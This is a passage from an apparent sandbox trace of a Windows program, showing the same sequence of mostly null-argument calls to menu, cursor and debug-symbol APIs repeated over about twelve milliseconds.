lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.516] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.516] GetLastError () returned 0x579 [0185.516] SetLastError (dwErrCode=0x579) [0185.516] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.516] SymCleanup (hProcess=0x0) returned 0 [0185.517] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.517] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.517] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.517] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.517] GetLastError () returned 0x579 [0185.517] SetLastError (dwErrCode=0x579) [0185.517] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.517] SymCleanup (hProcess=0x0) returned 0 [0185.517] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.517] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.517] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.517] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.517] GetLastError () returned 0x579 [0185.517] SetLastError (dwErrCode=0x579) [0185.517] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.517] SymCleanup (hProcess=0x0) returned 0 [0185.517] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.517] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.517] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.517] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.517] GetLastError () returned 0x579 [0185.517] SetLastError (dwErrCode=0x579) [0185.517] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.517] SymCleanup (hProcess=0x0) returned 0 [0185.517] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.518] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.518] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.518] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=168, param_4=5, param_5=0x0, param_6=0x0) returned 0 [0185.518] GetLastError () returned 0x579 [0185.518] SetLastError (dwErrCode=0x579) [0185.518] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.518] SymCleanup (hProcess=0x0) returned 0 [0185.518] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.518] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.518] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.518] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.518] GetLastError () returned 0x579 [0185.518] SetLastError (dwErrCode=0x579) [0185.518] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.518] SymCleanup (hProcess=0x0) returned 0 [0185.518] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.518] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.518] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.518] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.518] GetLastError () returned 0x579 [0185.518] SetLastError (dwErrCode=0x579) [0185.518] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.518] SymCleanup (hProcess=0x0) returned 0 [0185.518] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.518] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.519] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.519] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.519] GetLastError () returned 0x579 [0185.519] SetLastError (dwErrCode=0x579) [0185.519] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.519] SymCleanup (hProcess=0x0) returned 0 [0185.519] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.519] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.519] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.519] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.519] GetLastError () returned 0x579 [0185.519] SetLastError (dwErrCode=0x579) [0185.519] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.519] SymCleanup (hProcess=0x0) returned 0 [0185.519] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.519] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.519] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.519] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=567, param_4=513, param_5=0x0, param_6=0x0) returned 0 [0185.519] GetLastError () returned 0x579 [0185.519] SetLastError (dwErrCode=0x579) [0185.519] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.519] SymCleanup (hProcess=0x0) returned 0 [0185.519] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.519] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.519] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.520] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.520] GetLastError () returned 0x579 [0185.520] SetLastError (dwErrCode=0x579) [0185.520] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.520] SymCleanup (hProcess=0x0) returned 0 [0185.520] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.520] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.520] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.520] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.520] GetLastError () returned 0x579 [0185.520] SetLastError (dwErrCode=0x579) [0185.520] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.520] SymCleanup (hProcess=0x0) returned 0 [0185.520] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.520] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.520] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.521] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.521] GetLastError () returned 0x579 [0185.521] SetLastError (dwErrCode=0x579) [0185.521] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.521] SymCleanup (hProcess=0x0) returned 0 [0185.521] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.521] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.521] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.521] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.521] GetLastError () returned 0x579 [0185.521] SetLastError (dwErrCode=0x579) [0185.521] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.521] SymCleanup (hProcess=0x0) returned 0 [0185.521] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.521] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.521] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.521] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1054, param_4=730, param_5=0x0, param_6=0x0) returned 0 [0185.521] GetLastError () returned 0x579 [0185.521] SetLastError (dwErrCode=0x579) [0185.521] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.521] SymCleanup (hProcess=0x0) returned 0 [0185.521] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.521] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.521] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.521] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.522] GetLastError () returned 0x579 [0185.522] SetLastError (dwErrCode=0x579) [0185.522] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.522] SymCleanup (hProcess=0x0) returned 0 [0185.522] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.522] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.522] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.522] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.522] GetLastError () returned 0x579 [0185.522] SetLastError (dwErrCode=0x579) [0185.522] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.522] SymCleanup (hProcess=0x0) returned 0 [0185.522] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.522] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.522] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.522] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.522] GetLastError () returned 0x579 [0185.522] SetLastError (dwErrCode=0x579) [0185.522] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.522] SymCleanup (hProcess=0x0) returned 0 [0185.522] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.522] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.522] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.522] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.523] GetLastError () returned 0x579 [0185.523] SetLastError (dwErrCode=0x579) [0185.523] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.523] SymCleanup (hProcess=0x0) returned 0 [0185.523] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.523] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.523] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.523] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=5, param_4=537, param_5=0x0, param_6=0x0) returned 0 [0185.523] GetLastError () returned 0x579 [0185.523] SetLastError (dwErrCode=0x579) [0185.523] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.523] SymCleanup (hProcess=0x0) returned 0 [0185.523] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.523] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.523] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.523] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.523] GetLastError () returned 0x579 [0185.523] SetLastError (dwErrCode=0x579) [0185.523] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.523] SymCleanup (hProcess=0x0) returned 0 [0185.523] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.523] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.523] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.523] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.524] GetLastError () returned 0x579 [0185.524] SetLastError (dwErrCode=0x579) [0185.524] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.524] SymCleanup (hProcess=0x0) returned 0 [0185.524] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.524] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.524] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.524] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.524] GetLastError () returned 0x579 [0185.524] SetLastError (dwErrCode=0x579) [0185.524] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.524] SymCleanup (hProcess=0x0) returned 0 [0185.524] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.524] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.524] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.524] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.524] GetLastError () returned 0x579 [0185.524] SetLastError (dwErrCode=0x579) [0185.524] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.524] SymCleanup (hProcess=0x0) returned 0 [0185.524] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.524] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.524] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.524] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=882, param_4=801, param_5=0x0, param_6=0x0) returned 0 [0185.524] GetLastError () returned 0x579 [0185.525] SetLastError (dwErrCode=0x579) [0185.525] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.525] SymCleanup (hProcess=0x0) returned 0 [0185.525] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.525] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.525] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.525] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.525] GetLastError () returned 0x579 [0185.525] SetLastError (dwErrCode=0x579) [0185.525] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.525] SymCleanup (hProcess=0x0) returned 0 [0185.525] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.525] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.525] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.525] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.525] GetLastError () returned 0x579 [0185.525] SetLastError (dwErrCode=0x579) [0185.525] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.525] SymCleanup (hProcess=0x0) returned 0 [0185.525] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.525] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.525] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.525] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.525] GetLastError () returned 0x579 [0185.526] SetLastError (dwErrCode=0x579) [0185.526] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.526] SymCleanup (hProcess=0x0) returned 0 [0185.526] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.526] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.526] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.526] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.526] GetLastError () returned 0x579 [0185.526] SetLastError (dwErrCode=0x579) [0185.526] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.526] SymCleanup (hProcess=0x0) returned 0 [0185.526] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.526] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.526] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.526] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1244, param_4=7, param_5=0x0, param_6=0x0) returned 0 [0185.526] GetLastError () returned 0x579 [0185.526] SetLastError (dwErrCode=0x579) [0185.526] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.526] SymCleanup (hProcess=0x0) returned 0 [0185.526] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.526] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.526] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.526] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.526] GetLastError () returned 0x579 [0185.526] SetLastError (dwErrCode=0x579) [0185.527] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.527] SymCleanup (hProcess=0x0) returned 0 [0185.527] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.527] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.527] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.527] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.527] GetLastError () returned 0x579 [0185.527] SetLastError (dwErrCode=0x579) [0185.527] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.527] SymCleanup (hProcess=0x0) returned 0 [0185.527] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.527] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.527] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.527] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.527] GetLastError () returned 0x579 [0185.527] SetLastError (dwErrCode=0x579) [0185.527] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.527] SymCleanup (hProcess=0x0) returned 0 [0185.527] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.527] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.527] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.527] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.527] GetLastError () returned 0x579 [0185.527] SetLastError (dwErrCode=0x579) [0185.527] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.528] SymCleanup (hProcess=0x0) returned 0 [0185.528] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.528] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.528] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.528] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=183, param_4=849, param_5=0x0, param_6=0x0) returned 0 [0185.528] GetLastError () returned 0x579 [0185.528] SetLastError (dwErrCode=0x579) [0185.528] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.528] SymCleanup (hProcess=0x0) returned 0 [0185.528] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.528] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.528] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.528] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.528] GetLastError () returned 0x579 [0185.528] SetLastError (dwErrCode=0x579) [0185.528] SymFindFileInPath (in: 